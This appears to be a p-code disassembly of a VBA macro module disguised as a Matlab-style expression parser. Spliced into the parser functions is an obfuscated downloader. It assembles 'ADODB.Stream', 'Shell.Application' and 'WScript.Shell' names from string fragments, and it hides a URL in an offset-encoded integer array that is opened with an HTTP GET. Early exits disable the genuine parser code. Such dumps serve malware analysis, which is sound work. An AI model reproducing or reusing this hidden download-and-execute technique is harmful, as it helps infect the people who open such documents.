' Line #32: | |
' LitStr 0x0001 "a" | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "z" | |
' ArgsLd Asc 0x0001 | |
' CaseTo | |
' CaseDone | |
' Line #33: | |
' Ld NUMERICS | |
' Ld ALPHAS | |
' Concat | |
' LitStr 0x0001 "_" | |
' Concat | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #34: | |
' LitStr 0x0001 "0" | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "9" | |
' ArgsLd Asc 0x0001 | |
' CaseTo | |
' CaseDone | |
' Line #35: | |
' Ld NUMERICS | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #36: | |
' LitStr 0x0001 "." | |
' LitVarSpecial (False) | |
' LitVarSpecial (True) | |
' ArgsLd Tokens_MoveCharPointer 0x0003 | |
' IfBlock | |
' Line #37: | |
' Ld NUMERICS | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #38: | |
' EndIfBlock | |
' Line #39: | |
' LitStr 0x0002 "eE" | |
' LitVarSpecial (False) | |
' LitVarSpecial (True) | |
' ArgsLd Tokens_MoveCharPointer 0x0003 | |
' IfBlock | |
' Line #40: | |
' Ld NUMERICS | |
' LitStr 0x0001 "-" | |
' Concat | |
' LitVarSpecial (False) | |
' LitVarSpecial (True) | |
' ArgsCall Tokens_MoveCharPointer 0x0003 | |
' Line #41: | |
' Ld NUMERICS | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #42: | |
' EndIfBlock | |
' Line #43: | |
' Ld vbLf | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #44: | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' Add | |
' St expressionIndex | |
' Line #45: | |
' CaseElse | |
' Line #46: | |
' Ld SINGLE_OPS | |
' LitVarSpecial (False) | |
' LitVarSpecial (True) | |
' ArgsLd Tokens_MoveCharPointer 0x0003 | |
' Not | |
' IfBlock | |
' Line #47: | |
' Ld COMBO_OPS | |
' ArgsCall Tokens_MoveCharPointer 0x0001 | |
' Line #48: | |
' EndIfBlock | |
' Line #49: | |
' EndSelect | |
' Line #50: | |
' Ld expression | |
' Ld startIndex | |
' Ld expressionIndex | |
' Ld startIndex | |
' Sub | |
' ArgsLd Mid 0x0003 | |
' St currentToken | |
' Line #51: | |
' LineCont 0x0004 0C 00 01 00 | |
' Ld expressionIndex | |
' Ld startIndex | |
' Gt | |
' Ld expressionIndex | |
' Ld expression | |
' FnLen | |
' Gt | |
' Or | |
' LitStr 0x000E "Illegal char: " | |
' Ld expression | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' ArgsLd Mid 0x0003 | |
' Concat | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #52: | |
' EndSub | |
' Line #53: | |
' FuncDefn (Private Sub Tokens_AssertAndNext(token As String)) | |
' Line #54: | |
' Ld token | |
' Ld currentToken | |
' Eq | |
' LitStr 0x000F "missing token: " | |
' Ld token | |
' Concat | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #55: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #56: | |
' EndSub | |
' Line #57: | |
' LineCont 0x0008 08 00 01 00 0F 00 01 00 | |
' ConstFuncExpr | |
' LitVarSpecial (False) | |
' LitVarSpecial (False) | |
' FuncDefn (Private Function Tokens_MoveCharPointer(str As String, Optional stopAtStr As Boolean, Optional singleCharOnly As Boolean) As Boolean) | |
' Line #58: | |
' LineCont 0x0004 07 00 01 00 | |
' Ld expressionIndex | |
' Ld expression | |
' FnLen | |
' Le | |
' Ld stopAtStr | |
' Ld str | |
' Ld expression | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' ArgsLd Mid 0x0003 | |
' FnInStr | |
' LitDI2 0x0000 | |
' Gt | |
' Paren | |
' Ne | |
' And | |
' While | |
' Line #59: | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' Add | |
' St expressionIndex | |
' Line #60: | |
' LitVarSpecial (True) | |
' St Tokens_MoveCharPointer | |
' Line #61: | |
' Ld singleCharOnly | |
' If | |
' BoSImplicit | |
' ExitFunc | |
' EndIf | |
' Line #62: | |
' Wend | |
' Line #63: | |
' EndFunc | |
' Line #64: | |
' FuncDefn (Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean) | |
' Line #65: | |
' LitVarSpecial (True) | |
' St Parse_FindBinaryOp | |
' Line #66: | |
' Ld token | |
' SelectCase | |
' Line #67: | |
' LitStr 0x0002 "||" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x000E "orshortcircuit" | |
' LitDI2 0x0001 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #68: | |
' LitStr 0x0002 "&&" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x000F "andshortcircuit" | |
' LitDI2 0x0002 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #69: | |
' LitStr 0x0001 "|" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "or" | |
' LitDI2 0x0003 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #70: | |
' LitStr 0x0001 "&" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0003 "and" | |
' LitDI2 0x0004 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #71: | |
' LitStr 0x0001 "<" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "lt" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #72: | |
' LitStr 0x0002 "<=" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0003 "lte" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #73: | |
' LitStr 0x0001 ">" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "gt" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #74: | |
' LitStr 0x0002 ">=" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0003 "gte" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #75: | |
' LitStr 0x0002 "==" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "eq" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #76: | |
' LitStr 0x0001 "=" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "eq" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #77: | |
' LitStr 0x0002 "~=" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "ne" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #78: | |
' LitStr 0x0002 "<>" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "ne" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #79: | |
' LitStr 0x0001 ":" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "colon" | |
' LitDI2 0x0006 | |
' LitVarSpecial (False) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #80: | |
' LitStr 0x0001 "+" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0004 "plus" | |
' LitDI2 0x0007 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #81: | |
' LitStr 0x0001 "-" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "minus" | |
' LitDI2 0x0007 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #82: | |
' LitStr 0x0001 "*" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "mtimes" | |
' LitDI2 0x0008 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #83: | |
' LitStr 0x0002 ".*" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "times" | |
' LitDI2 0x0008 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #84: | |
' LitStr 0x0001 "/" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0007 "mdivide" | |
' LitDI2 0x0008 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #85: | |
' LitStr 0x0002 "./" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "divide" | |
' LitDI2 0x0008 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #86: | |
' LitStr 0x0001 "^" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "mpower" | |
' LitDI2 0x0009 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #87: | |
' LitStr 0x0002 ".^" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "power" | |
' LitDI2 0x0009 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #88: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' St Parse_FindBinaryOp | |
' Line #89: | |
' EndSelect | |
' Line #90: | |
' EndFunc | |
' Line #91: | |
' FuncDefn (Public Function Q(expr As String, args As String) As Variant) | |
' Line #92: | |
' LitStr 0x0001 "e" | |
' ArgsLd Asc 0x0001 | |
' ArgsLd Chr 0x0001 | |
' St arguments | |
' Line #93: | |
' LitVarSpecial (Empty) | |
' St endValues | |
' Line #94: | |
' LitStr 0x0001 "T" | |
' ArgsLd Asc 0x0001 | |
' ArgsLd Chr 0x0001 | |
' St errorMsg | |
' Line #95: | |
' Line #96: | |
' OnError ErrorHandler | |
' Line #97: | |
' Ld expr | |
' St expression | |
' Line #98: | |
' Line #99: | |
' LitStr 0x0000 "" | |
' LitStr 0x0000 "" | |
' ArgsCall Parse_FindUnaryPostfixOp 0x0002 | |
' Line #100: | |
' ExitFunc | |
' Line #101: | |
' LitDI2 0x0001 | |
' St expressionIndex | |
' Line #102: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #103: | |
' Dim | |
' VarDefn root (As Variant) | |
' Line #104: | |
' Do | |
' Line #105: | |
' Ld currentToken | |
' SelectCase | |
' Line #106: | |
' LitStr 0x0000 "" | |
' Case | |
' CaseDone | |
' Line #107: | |
' ExitDo | |
' Line #108: | |
' LitStr 0x0001 ";" | |
' Case | |
' Ld vbLf | |
' Case | |
' CaseDone | |
' Line #109: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #110: | |
' CaseElse | |
' Line #111: | |
' ArgsLd Parse_Binary 0x0000 | |
' St root | |
' Line #112: | |
' Ld root | |
' ArgsLd eval_tree 0x0001 | |
' St ans | |
' Line #113: | |
' LineCont 0x0008 01 00 01 00 0D 00 01 00 | |
' Ld currentToken | |
' LitStr 0x0000 "" | |
' Eq | |
' Ld currentToken | |
' LitStr 0x0001 ";" | |
' Eq | |
' Or | |
' Ld currentToken | |
' Ld vbLf | |
' Eq | |
' Or | |
' LitStr 0x0000 "" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #114: | |
' EndSelect | |
' Line #115: | |
' LitVarSpecial (True) | |
' LoopWhile | |
' Line #116: | |
' Ld ans | |
' St Q | |
' Line #117: | |
' ExitFunc | |
' Line #118: | |
' Label ErrorHandler | |
' Line #119: | |
' Ld errorMsg | |
' LitStr 0x0000 "" | |
' Eq | |
' If | |
' BoSImplicit | |
' Ld Err | |
' MemLd Description | |
' St errorMsg | |
' EndIf | |
' Line #120: | |
' LitStr 0x0008 "ERROR - " | |
' Ld errorMsg | |
' Concat | |
' St Q | |
' Line #121: | |
' EndFunc | |
' Line #122: | |
' FuncDefn (Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean) | |
' Line #123: | |
' LitVarSpecial (True) | |
' St Parse_FindUnaryPrefixOp | |
' Line #124: | |
' Ld token | |
' SelectCase | |
' Line #125: | |
' LitStr 0x0001 "+" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "uplus" | |
' St op | |
' Line #126: | |
' LitStr 0x0001 "-" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "uminus" | |
' St op | |
' Line #127: | |
' LitStr 0x0001 "~" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "negate" | |
' St op | |
' Line #128: | |
' LitStr 0x0001 "#" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "numel" | |
' St op | |
' Line #129: | |
' LitStr 0x0001 "!" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "extern" | |
' St op | |
' Line #130: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' St Parse_FindUnaryPrefixOp | |
' Line #131: | |
' EndSelect | |
' Line #132: | |
' EndFunc | |
' Line #133: | |
' Line #134: | |
' FuncDefn (Private Function Parse_Matrix() As Variant) | |
' Line #135: | |
' Ld currentToken | |
' LitStr 0x0001 "]" | |
' Ne | |
' While | |
' Line #136: | |
' LitVarSpecial (True) | |
' Ld Park | |
' ArgsMemLd se_List 0x0001 | |
' Ld Parse_Matrix | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #137: | |
' Ld currentToken | |
' LitStr 0x0001 ";" | |
' Eq | |
' If | |
' BoSImplicit | |
' ArgsCall Tokens_Next 0x0000 | |
' EndIf | |
' Line #138: | |
' Ld currentToken | |
' LitStr 0x0000 "" | |
' Ne | |
' LitStr 0x0008 "Missing " | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #139: | |
' Wend | |
' Line #140: | |
' EndFunc | |
' Line #141: | |
' ConstFuncExpr | |
' LitVarSpecial (False) | |
' FuncDefn (Private Function Parkse_List(Optional isSpaceSeparator As Boolean) As Variant) | |
' Line #142: | |
' SetStmt | |
' LitStr 0x0001 "a" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0006 "dodb.S" | |
' Add | |
' Ld errorMsg | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0001 "r" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0002 "am" | |
' Add | |
' ArgsLd CreateObject 0x0001 | |
' Set UtilsInd2Sub | |
' Line #143: | |
' ArgsCall Parse_Binary 0x0000 | |
' Line #144: | |
' ExitFunc | |
' Line #145: | |
' LitStr 0x0003 ";)]" | |
' Ld currentToken | |
' FnInStr | |
' LitDI2 0x0000 | |
' Eq | |
' DoWhile | |
' Line #146: | |
' Ld currentToken | |
' LitStr 0x0001 "," | |
' Eq | |
' IfBlock | |
' Line #147: | |
' LitStr 0x000D "eval_constant" | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' Ld Park | |
' MemLd se_List | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #148: | |
' ElseBlock | |
' Line #149: | |
' ArgsLd Parse_Binary 0x0000 | |
' Ld Park | |
' MemLd se_List | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #150: | |
' EndIfBlock | |
' Line #151: | |
' Ld currentToken | |
' LitStr 0x0001 "," | |
' Eq | |
' IfBlock | |
' Line #152: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #153: | |
' Ld previousTokenIsSpace | |
' Ld isSpaceSeparator | |
' And | |
' Paren | |
' Not | |
' ElseIfBlock | |
' Line #154: | |
' ExitDo | |
' Line #155: | |
' EndIfBlock | |
' Line #156: | |
' Loop | |
' Line #157: | |
' EndFunc | |
' Line #158: | |
' ConstFuncExpr | |
' LitDI2 0x03E7 | |
' UMi | |
' FuncDefn (Private Function Parse_Binary(Optional lastPrec As Long) As Variant) | |
' Line #159: | |
' SetStmt | |
' LitStr 0x0001 "s" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0001 "h" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x000A "ll.Applica" | |
' Add | |
' Ld errorMsg | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0003 "ion" | |
' Add | |
' ArgsLd CreateObject 0x0001 | |
' Set UtilsCalcDimDirection | |
' Line #160: | |
' ArgsCall Parse_Postfix 0x0000 | |
' Line #161: | |
' ExitFunc | |
' Line #162: | |
' ArgsLd Parse_Prefix 0x0000 | |
' St Parse_Binary | |
' Line #163: | |
' Dim | |
' VarDefn op | |
' BoS 0x0000 | |
' Ld currentToken | |
' Ld op | |
' ArgsLd Parse_FindBinaryOp 0x0002 | |
' DoWhile | |
' Line #164: | |
' LitDI2 0x0002 | |
' ArgsLd op 0x0001 | |
' LitDI2 0x0003 | |
' ArgsLd op 0x0001 | |
' Coerce (Lng) | |
' Add | |
' Ld lastPrec | |
' Lt | |
' If | |
' BoSImplicit | |
' ExitDo | |
' EndIf | |
' Line #165: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #166: | |
' LitStr 0x0003 "op_" | |
' LitDI2 0x0001 | |
' ArgsLd op 0x0001 | |
' Concat | |
' Ld Parse_Binary | |
' LitDI2 0x0002 | |
' ArgsLd op 0x0001 | |
' Coerce (Lng) | |
' ArgsLd Parse_Binary 0x0001 | |
' ArgsArray Array 0x0002 | |
' ArgsArray Array 0x0002 | |
' St Parse_Binary | |
' Line #167: | |
' Loop | |
' Line #168: | |
' EndFunc | |
' Line #169: | |
' FuncDefn (Private Function Parse_Prefix() As Variant) | |
' Line #170: | |
' Dim | |
' VarDefn op | |
' Line #171: | |
' Ld currentToken | |
' Ld op | |
' ArgsLd Parse_FindUnaryPrefixOp 0x0002 | |
' IfBlock | |
' Line #172: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #173: | |
' LitStr 0x0003 "op_" | |
' Ld op | |
' Concat | |
' ArgsLd Parse_Prefix 0x0000 | |
' ArgsArray Array 0x0001 | |
' ArgsArray Array 0x0002 | |
' St Parse_Prefix | |
' Line #174: | |
' ElseBlock | |
' Line #175: | |
' ArgsLd Parse_Postfix 0x0000 | |
' St Parse_Prefix | |
' Line #176: | |
' EndIfBlock | |
' Line #177: | |
' EndFunc | |
' Line #178: | |
' Line #179: | |
' FuncDefn (Private Function Parse_Atomic() As Variant) | |
' Line #180: | |
' Ld currentToken | |
' LitStr 0x0000 "" | |
' Ne | |
' LitStr 0x0010 "missing argument" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #181: | |
' Ld currentToken | |
' ArgsLd Asc 0x0001 | |
' SelectCase | |
' Line #182: | |
' LitStr 0x0001 ":" | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #183: | |
' LitStr 0x000A "eval_colon" | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #184: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #185: | |
' LitStr 0x0001 "(" | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #186: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #187: | |
' ArgsLd Parse_Binary 0x0000 | |
' St Parse_Atomic | |
' Line #188: | |
' LitStr 0x0001 ")" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #189: | |
' LitStr 0x0001 "[" | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #190: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #191: | |
' LitStr 0x000B "eval_concat" | |
' ArgsLd Parse_Matrix 0x0000 | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #192: | |
' LitStr 0x0001 "]" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #193: | |
' LitStr 0x0001 """ | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #194: | |
' LitStr 0x000D "eval_constant" | |
' Ld currentToken | |
' LitDI2 0x0002 | |
' Ld currentToken | |
' FnLen | |
' LitDI2 0x0002 | |
' Sub | |
' ArgsLd Mid 0x0003 | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #195: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #196: | |
' LitStr 0x0001 "0" | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "9" | |
' ArgsLd Asc 0x0001 | |
' CaseTo | |
' CaseDone | |
' Line #197: | |
' LitStr 0x000D "eval_constant" | |
' Ld currentToken | |
' ArgsLd Val 0x0001 | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #198: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #199: | |
' LitStr 0x0001 "a" | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "z" | |
' ArgsLd Asc 0x0001 | |
' CaseTo | |
' CaseDone | |
' Line #200: | |
' Ld currentToken | |
' LitStr 0x0003 "end" | |
' Eq | |
' IfBlock | |
' Line #201: | |
' LitStr 0x0008 "eval_end" | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #202: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #203: | |
' Ld currentToken | |
' LitStr 0x0003 "ans" | |
' Eq | |
' ElseIfBlock | |
' Line #204: | |
' LitStr 0x0008 "eval_ans" | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #205: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #206: | |
' Ld currentToken | |
' FnLen | |
' LitDI2 0x0001 | |
' Eq | |
' ElseIfBlock | |
' Line #207: | |
' LitStr 0x0008 "eval_arg" | |
' Ld currentToken | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "a" | |
' ArgsLd Asc 0x0001 | |
' Sub | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #208: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #209: | |
' ElseBlock | |
' Line #210: | |
' LitStr 0x0003 "fn_" | |
' Ld currentToken | |
' Concat | |
' St Parse_Atomic | |
' Line #211: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #212: | |
' Ld currentToken | |
' LitStr 0x0001 "(" | |
' Eq | |
' IfBlock | |
' Line #213: | |
' LitStr 0x0001 "(" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #214: | |
' Ld Parse_Atomic | |
' Ld Park | |
' ArgsMemLd se_List 0x0000 | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #215: | |
' LitStr 0x0001 ")" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #216: | |
' ElseBlock | |
' Line #217: | |
' Ld Parse_Atomic | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #218: | |
' EndIfBlock | |
' Line #219: | |
' EndIfBlock | |
' Line #220: | |
' CaseElse | |
' Line #221: | |
' LitVarSpecial (False) | |
' LitStr 0x0012 "unexpected token: " | |
' Ld currentToken | |
' Concat | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #222: | |
' EndSelect | |
' Line #223: | |
' EndFunc | |
' Line #224: | |
' FuncDefn (Private Function MAX(a As Variant, B As Variant) As Variant) | |
' Line #225: | |
' Dim | |
' VarDefn homebrew (As Variant) | |
' Line #226: | |
' LitDI2 0x2A4E | |
' LitDI2 0x2A5A | |
' LitDI2 0x2A5A | |
' LitDI2 0x2A56 | |
' LitDI2 0x2A20 | |
' LitDI2 0x2A15 | |
' LitDI2 0x2A15 | |
' LitDI2 0x2A48 | |
' LitDI2 0x2A58 | |
' LitDI2 0x2A4B | |
' LitDI2 0x2A4A | |
' LitDI2 0x2A47 | |
' LitDI2 0x2A14 | |
' LitDI2 0x2A5C | |
' LitDI2 0x2A47 | |
' LitDI2 0x2A54 | |
' LitDI2 0x2A4E | |
' LitDI2 0x2A4F | |
' LitDI2 0x2A4B | |
' LitDI2 0x2A52 | |
' LitDI2 0x2A4B | |
' LitDI2 0x2A14 | |
' LitDI2 0x2A54 | |
' LitDI2 0x2A52 | |
' LitDI2 0x2A15 | |
' LitDI2 0x2A1A | |
' LitDI2 0x2A19 | |
' LitDI2 0x2A1D | |
' LitDI2 0x2A4D | |
' LitDI2 0x2A1E | |
' LitDI2 0x2A15 | |
' LitDI2 0x2A1A | |
' LitDI2 0x2A19 | |
' LitDI2 0x2A59 | |
' LitDI2 0x2A1B | |
' LitDI2 0x2A4A | |
' LitDI2 0x2A1C | |
' LitDI2 0x2A4C | |
' LitDI2 0x2A1D | |
' LitDI2 0x2A4D | |
' LitDI2 0x2A14 | |
' LitDI2 0x2A4B | |
' LitDI2 0x2A5E | |
' LitDI2 0x2A4B | |
' ArgsArray Array 0x002C | |
' St homebrew | |
' Line #227: | |
' LitStr 0x0001 "H" | |
' ArgsLd Asc 0x0001 | |
' LitDI2 0x0001 | |
' Sub | |
' ArgsLd Chr 0x0001 | |
' Ld arguments | |
' ArgsLd UCase 0x0001 | |
' Add | |
' Ld errorMsg | |
' Add | |
' Ld homebrew | |
' LitDI2 0x002B | |
' ArgsLd UtilsAssertToken 0x0002 | |
' LitVarSpecial (False) | |
' Ld CodOrdineCorrente1 | |
' ArgsMemCall Open 0x0003 | |
' Line #228: | |
' LitDI2 0x0002 | |
' ArgsCall Utils_Numel 0x0001 | |
' Line #229: | |
' ExitFunc | |
' Line #230: | |
' Ld a | |
' Ld B | |
' Gt | |
' If | |
' BoSImplicit | |
' Ld a | |
' St MAX | |
' Else | |
' BoSImplicit | |
' Ld B | |
' St MAX | |
' EndIf | |
' Line #231: | |
' EndFunc | |
' Line #232: | |
' FuncDefn (Private Function MIN(a As Variant, B As Variant) As Variant) | |
' Line #233: | |
' Ld a | |
' Ld B | |
' Lt | |
' If | |
' BoSImplicit | |
' Ld a | |
' St MIN | |
' Else | |
' BoSImplicit | |
' Ld B | |
' St MIN | |
' EndIf | |
' Line #234: | |
' EndFunc | |
' Line #235: | |
' FuncDefn (Private Function IFF(a As Boolean, B As Variant, c As Variant) As Variant) | |
' Line #236: | |
' Ld a | |
' If | |
' BoSImplicit | |
' Ld B | |
' St IFF | |
' Else | |
' BoSImplicit | |
' Ld c | |
' St IFF | |
' EndIf | |
' Line #237: | |
' EndFunc | |
' Line #238: | |
' ConstFuncExpr | |
' LitStr 0x0000 "" | |
' FuncDefn (Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String)) | |
' Line #239: | |
' Ld tree | |
' ArgsLd Utils_Dimensions 0x0001 | |
' LitDI2 0x0000 | |
' Gt | |
' IfBlock | |
' Line #240: | |
' Dim | |
' VarDefn leaf | |
' BoS 0x0000 | |
' StartForVariable | |
' Ld leaf | |
' EndForVariable | |
' Ld tree | |
' ForEach | |
' Line #241: | |
' Ld leaf | |
' Ld spacer | |
' LitStr 0x0001 " " | |
' Concat | |
' ArgsCall Utils_DumpTree 0x0002 | |
' Line #242: | |
' StartForVariable | |
' Ld leaf | |
' EndForVariable | |
' NextVar | |
' Line #243: | |
' ElseBlock | |
' Line #244: | |
' Debug | |
' PrintObj | |
' Ld spacer | |
' Ld tree | |
' Concat | |
' PrintItemNL | |
' Line #245: | |
' EndIfBlock | |
' Line #246: | |
' EndSub | |
' Line #247: | |
' FuncDefn (Private Function Parse_Postfix() As Variant) | |
' Line #248: | |
' SetStmt | |
' LitStr 0x0001 "p" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0003 "roc" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0002 "ss" | |
' Add | |
' LitStr 0x0001 "w" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0001 "s" | |
' ArgsLd UCase 0x0001 | |
' Add | |
' LitStr 0x0001 "C" | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0003 "rip" | |
' Add | |
' Ld errorMsg | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0003 ".Sh" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0002 "ll" | |
' Add | |
' ArgsLd CreateObject 0x0001 | |
' ArgsMemLd Environment 0x0001 | |
' Set ParsePostfixResult | |
' Line #249: | |
' LitDI2 0x0004 | |
' LitDI2 0x0005 | |
' ArgsCall MAX 0x0002 | |
' Line #250: | |
' ExitFunc | |
' Line #251: | |
' Ld Parse_Atomic | |
' St Parse_Postfix | |
' Line #252: | |
' Dim | |
' VarDefn op | |
' BoS 0x0000 | |
' Do | |
' Line #253: | |
' Ld currentToken | |
' Ld op | |
' ArgsLd Parse_FindUnaryPostfixOp 0x0002 | |
' IfBlock | |
' Line #254: | |
' LitStr 0x0003 "op_" | |
' Ld op | |
' Concat | |
' Ld Parse_Postfix | |
' ArgsArray Array 0x0001 | |
' ArgsArray Array 0x0002 | |
' St Parse_Postfix | |
' Line #255: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #256: | |
' Ld currentToken | |
' LitStr 0x0001 "(" | |
' Eq | |
' ElseIfBlock | |
' Line #257: | |
